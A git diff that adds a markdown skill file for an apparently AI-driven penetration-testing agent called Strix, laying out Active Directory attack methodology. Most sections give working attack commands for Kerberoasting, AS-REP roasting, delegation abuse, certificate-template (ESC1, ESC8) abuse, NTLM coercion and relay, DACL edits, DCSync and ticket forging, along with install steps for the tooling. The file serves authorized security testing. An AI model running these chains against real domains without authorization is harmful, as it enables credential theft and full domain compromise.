diff --git a/strix/skills/technologies/active_directory.md b/strix/skills/technologies/active_directory.md new file mode 100644 index 00000000..eff70dd1 --- /dev/null +++ b/strix/skills/technologies/active_directory.md @@ -0,0 +1,232 @@ +--- +name: active_directory +description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping +--- + +# Active Directory + +Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it. + +## Attack Surface + +**Core services (per domain controller)** +- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269) +- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139) +- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS) +- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers +- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES) + +**Principals & objects** +- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts +- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink` +- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf) + +**Trust boundaries** +- Intra-forest (parent/child), inter-forest, external, SID history +- `MachineAccountQuota` (default 10 → any user can join computer accounts) + +## Reconnaissance + +**Anonymous / pre-auth (no creds)** +``` +# Domain + naming context from LDAP rootDSE +nmap -Pn -p 389 --script ldap-rootdse +# SMB null session / signing / OS +nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" +enum4linux-ng -A +# Username-less user enum via Kerberos pre-auth +kerbrute userenum -d --dc users.txt +``` + +**Authenticated enumeration (any valid user)** +``` +nxc ldap -u -p # confirm creds + domain info +nxc smb -u -p --shares # readable/writable shares +nxc ldap -u -p --users --groups --pass-pol +ldapdomaindump ldap:// -u '\' -p +``` + +**BloodHound graph (the single most valuable step)** +``` +bloodhound-python -d -u -p -c All -ns --zip +# or, remote SharpHound-equivalent collector: +nxc ldap -u -p --bloodhound --collection-method All --dns-server +``` +Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else. + +## Key Vulnerabilities + +### Kerberos Roasting + +**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable. +``` +nxc ldap -u -p --kerberoasting kerb.txt +# or impacket +GetUserSPNs.py -request -dc-ip /: -outputfile kerb.txt +hashcat -m 13100 kerb.txt wordlist.txt +``` + +**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known. +``` +GetNPUsers.py / -usersfile users.txt -no-pass -dc-ip +hashcat -m 18200 asrep.txt wordlist.txt +``` + +**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it. + +### Delegation Abuse + +- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync. +- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access. +- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host. +``` +# RBCD chain +addcomputer.py -computer-name FAKE$ -computer-pass P@ss /: +rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write /: +getST.py -spn cifs/target. -impersonate Administrator /FAKE$:P@ss +``` + +### AD Certificate Services (ESC1-ESC17) + +AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows: +``` +certipy find -u @ -p -dc-ip -vulnerable -stdout +``` +- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`: + ``` + certipy req -u @ -p -ca -template -upn administrator@ + certipy auth -pfx administrator.pfx -dc-ip # → NT hash / TGT + ``` +- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync. +- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each. + +### NTLM Coercion & Relay + +Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB). +``` +# 1. Start the relay (LDAP → RBCD, or AD CS → cert) +ntlmrelayx.py -t ldap:// --delegate-access --no-dump +ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2support --adcs --template DomainController +# 2. Coerce a target to authenticate +coercer coerce -u -p -t -l +PetitPotam.py -u -p # MS-EFSR +printerbug.py /:@ # MS-RPRN +``` +LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay. + +### DACL / Object Abuse + +From BloodHound edges: +- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash). +- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object. +- **ForceChangePassword** → reset a target's password. +- **AddMember** on a privileged group → self-add. +- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs. +``` +# Shadow Credentials (no password reset needed, stealthier) +certipy shadow auto -u @ -p -account -dc-ip +# bloodyAD for generic DACL edits +bloodyAD -u -p -d --host add genericAll +``` + +### Credential Access & Domain Dominance + +- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`: + ``` + secretsdump.py /:@ -just-dc-user krbtgt + nxc smb -u -p --ntds # full NTDS.dit + ``` +- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence. +- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext. +- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds. + +### Known unauthenticated CVEs (patch-dependent) + +- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs. +- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC. +- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413). +Confirm with a version/patch check before firing — these are destructive. + +## Advanced Techniques + +- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it). +- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched. +- **SID history injection** across trusts for cross-domain/forest escalation. +- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution. +- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP. + +## Testing Methodology + +1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy. +2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths. +3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL. +4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph. +5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter). +6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed. +7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first. +8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope. + +## Validation + +1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output. +2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync. +3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop. +4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured". +5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding. + +## False Positives + +- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own. +- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields). +- Delegation flags present but the account is disabled or the target SPN is unreachable. +- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable. +- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable". +- "Writable" share that only exposes a redirected/quarantined path with no useful content. + +## Impact + +- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data. +- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history. +- Lateral movement to every domain-joined host (file servers, databases, hypervisors). +- Ransomware blast radius — DA is the standard pivot for domain-wide deployment. + +## Pro Tips + +1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes. +2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds. +3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed. +4. Fix clock skew before Kerberos work: `sudo ntpdate ` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops. +5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs. +6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules. +7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML). + +## Tooling + +**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first. + +``` +# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd) +pipx install impacket +pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds +pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials +pipx install bloodhound-ce # bloodhound-python collector (BloodHound CE ingestor) +pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP) +pipx install bloodyAD # DACL / LDAP object edits over LDAP +pipx install ldapdomaindump kerbrute-pw 2>/dev/null || true + +# Kali apt packages +sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john +``` + +- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`. +- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging). +- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set. +- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential. +- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target). +- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`). + +Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-python`, impacket, Certipy, `nxc`). + +## Summary + +AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.